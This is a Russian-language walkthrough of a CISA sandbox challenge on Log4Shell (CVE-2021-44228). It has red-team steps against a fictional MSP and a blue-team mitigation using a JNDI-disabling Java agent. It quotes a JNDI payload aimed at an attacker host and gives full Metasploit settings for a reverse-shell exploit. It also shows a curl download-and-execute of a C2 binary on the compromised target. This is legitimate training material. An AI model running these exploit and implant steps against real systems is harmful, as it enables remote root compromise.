Sandbox Challenge: Log4Shell (CVE-2021-44228)

Обзор

В этом руководстве описаны шаги, выполненные для прохождения Threat Sandbox Challenge от CISA по CVE-2021-44228, широко известной как Log4Shell. Задача включала выполнение двух целей — одна команда красных (наступательная) и одна команда синих (оборонительная) — против вымышленного IT-провайдера управляемых услуг (MSP) под названием DasMSP в изолированной песочнице.

Примечание: Команды и пути к файлам в этом руководстве отражают конкретные шаги, выполненные в данной среде. Ваша среда может отличаться, включая IP-адреса, расположение файлов и доступность инструментов. Адаптируйте команды под свою конфигурацию.

Предыстория

CVE-2021-44228 — это критическая уязвимость удаленного выполнения кода (RCE, CVSS 10.0), затрагивающая определенные версии фреймворка журналирования Apache Log4j на Java. Уязвимость возникает из-за функции JNDI lookup в Log4j, которая может быть активирована путем внедрения специально сформированной строки, такой как ${jndi:ldap://attacker.com/exploit}, в любые данные, которые регистрирует Log4j. Если злоумышленник может заставить уязвимое приложение зарегистрировать вредоносную строку — обычно через HTTP-заголовки — Log4j обратится к управляемому злоумышленником серверу и выполнит произвольный код.

Log4Shell был добавлен в каталог Known Exploited Vulnerabilities (KEV) CISA 10 декабря 2021 года и появился в совместных рекомендациях по наиболее часто эксплуатируемым уязвимостям за 2021 и 2022 годы.

Среда

Обе целевые системы работают под управлением Linux и используют уязвимое Java-веб-приложение (dasmsp.jar) с подверженной воздействию версией Log4j.

Используемые инструменты

• Metasploit Framework (exploit/multi/http/log4shell_header_injection)
• curl
• Python3 HTTP Server
• SSH
• SCP
• systemctl
• nano

Цель красной команды: Развернуть C2-слушатель на Red Target

Шаг 1 — Запуск Metasploit

Открыл терминал на Security-Desk и запустил Metasploit:

msfconsole

Шаг 2 — Поиск модуля Log4Shell

Путь к модулю, указанный в брифинге, не соответствовал установленной версии. Выполнил поиск правильного модуля:

search log4shell

Определил правильный модуль: exploit/multi/http/log4shell_header_injection.

Шаг 3 — Настройка эксплойта

use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>

Шаг 4 — Запуск эксплойта

run

Metasploit автоматически протестировал несколько HTTP-заголовков на уязвимость Log4Shell. Red Target был подтвержден как уязвимый по нескольким заголовкам (Authorization, Cache-Control, User-Agent, X-Forwarded-For и другим). Была открыта сессия командной оболочки на Red Target.

Шаг 5 — Проверка доступа к оболочке

Подтвердил доступ уровня root на Red Target:

id

Вывод: uid=0(root) gid=0(root) groups=0(root)

Шаг 6 — Передача и запуск deploy_c2

Бинарный файл deploy_c2 находился на Security-Desk, а не на Red Target. На целевом устройстве не были доступны ни wget, ни прямой путь к файлу. Открыл второй терминал на Security-Desk и запустил файловый сервер через Python:

cd ~/Desktop/Resources
python3 -m http.server 8080

Вернувшись в сессию Metasploit на Red Target, загрузил и выполнил бинарник:

curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2

Вывод: Done!

✅ Проверка развертывания C2-слушателя на Red Target подтверждена.

Цель синей команды: Смягчить CVE-2021-44228 на Blue Target

Используемый метод смягчения — Java-агент log4j-jndi-be-gone-standalone.jar, разработанный NCC Group, который исправляет поведение JNDI lookup во время выполнения без необходимости патчить само приложение. Подробности об этом агенте можно найти в блоге исследовательской группы NCC Group.

Шаг 1 — Передача Java-агента на Blue Target

Из терминала Security-Desk использовал SCP для передачи JAR-файла агента:

scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/

Шаг 2 — Подключение по SSH к Blue Target

ssh playerone@<Blue-Target-IP>

Шаг 3 — Редактирование файла сервисного юнита

sudo nano /etc/systemd/system/dasmsp.service

Нашел строку ExecStart и добавил флаг -javaagent:

До:

ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar

После:

ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar

Сохранил с помощью Ctrl+O → Enter → Ctrl+X.

Шаг 4 — Перезагрузка и перезапуск сервиса

sudo systemctl daemon-reload
sudo systemctl restart dasmsp

✅ Проверка смягчения CVE-2021-44228 на Blue Target подтверждена.